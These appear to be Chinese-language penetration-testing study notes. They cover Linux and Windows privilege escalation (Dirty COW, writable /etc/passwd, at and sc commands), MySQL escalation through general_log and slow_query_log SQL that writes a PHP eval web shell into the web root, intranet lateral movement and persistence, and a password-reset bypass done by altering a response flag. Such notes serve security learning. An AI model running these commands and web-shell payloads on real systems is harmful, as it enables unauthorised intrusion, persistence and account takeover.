linux提权:
1.利用提权脚本 linux-exploit-suggester 脏牛漏洞
2.密码复用
3./etc/passwd 可写
4.计划任务提权
5.sudo提权
6.suid提权
1.利用linux-exploit-suggester 提权脚本
根据返回的结果 来寻找使用特定的payload
脏牛漏洞
原理:
当系统在进行复制时写时,通过利用对应的条件竞争,从而往只读内存中写入想要写入的内容
gcc -o xxxx -lcrypt ./dirty 123456
往/etc/passwd文件中添加一行数据 firefart
2.往/etc/passwd文件中写入内容
/etc/passwd文件默认只能由root权限进行写入 而其他用户用户均可读取该文件中的
内容
如果通过错误配置 能够允许其他用户写入/etc/passwd文件中的内容
root:x:0:0:root:/root:/bin/bash
使用:作为分隔符 第一列为用户名
第二列: 代表密码 x代表真正的密码存放于/etc/shadow文件中
第三列:uid 每一个用户应该拥有一个独一无二的uid
第四列: gid 同一个组下的用户拥有同样的gid
第五列:别名
第六列: 当前用户所对应的home目录
第七列: shell相关 /bin/bash /bin/sh 才允许登录
通过修改/etc/passwd中的对应用户(root)中的x字段 可以修改其密码
Windows提权
at 提权 (windows server 2003)(系统自带)
> at 16:16 ./interactive cmd.exe(会自动创建计划任务,结束后会弹窗执行whoami显示system)
sc (service服务)(cmd可以换成calc开启计算器)(系统自带)
> sc create systemcmd binPath= "cmd /K start" type= own type= interact
创建成功后执行> sc start systemcmd
Mysql提权
udf提权
mof提权
phpMyadmin
general_log
slow_query_log
mysql提权:
前提: 需要root用户
如何获得root用户权限:
1.尝试读取对应的配置文件
2.拥有文件读取权限 考虑读取mysql 目录下的user文件
3.导出mysql 目录下的user文件 导入到新的数据库中
phpmyadmin提权
general_log
通用日志 默认执行的sql语句会写入日志
show variables like '%general_log%'; #判断对应的配置
set global general_log = "On"; #开启日志监听
set global general_log_file = "C:/phpStudy/WWW/js/log.php"; # 设置日志存储路径
select '<?php eval($_POST[12345]);?>'; # 连接蚁剑
slow_query_log 慢查询
show variables like '%slow_query%';
set global slow_query_log = "On";
set global slow_query_log_file = "C:/phpStudy/WWW/js/slow_query_log.php";
select '<?php eval($_POST[12345]);?>' from dual where 1=sleep(20);
内网渗透
23.1 什么是内网渗透
端口映射,能让外网的电脑找到处于内网的电脑。支持 tcp、udp 端口转发,可支持任何 tcp、udp 上层协议(访问内网网站、ssh 访问、远程桌面,内网dns解析等等
23.2 内网渗透思路
1.内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器
2.收集到信息再扫一下开放端口 21 22 80 8080 443等确定敏感信息
3.通过以上信息进行一定的弱口令尝试
4.进行一些提权操作,从横向和纵向对目标服务器进行渗透。
5.进行敏感信息挖掘,内网密码收集嗅探,同时清除入侵足迹。
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。
23.3 权限持久化
注册表 启动项 服务 映像劫持 dll劫持 影子账号 计划任务
逻辑漏洞
密码修改,密码找回,越权修改,越权查询,交易支付
密码找回漏洞复现
1.在网站上注册一个账号,然后点击找回密码。
2.输入一个真实的验证码进行找回密码。再点击下一步的时候打开拦截包的功能。并点击下一步后把数据包发送到repeater 这个模块上
3.这时候会看到发包后返回的一个显示情况。这时候能看到数据发送正确,可以看到返回包的status(状态)的参数,为1,
4.然后我尝试修改验证码后再发送一次,这时看到数据的返回包的status(状态)的参数,为-1,就考虑status是不是一个能不能过的标志位。
5.又随便选择一个输入一个验证码,并点击下一步。然后拦截数据包
6.打开查看返回包的数据,然后放包
7.这时候把返回包的 status 参数从 -1 改为 1.然后放包
8.这时候虽然没输入一个正确的验证码,但跳转到找回密码页面。
密码找回漏洞总结
跳转页面的标志位放在前端,使用户可以轻易的修改。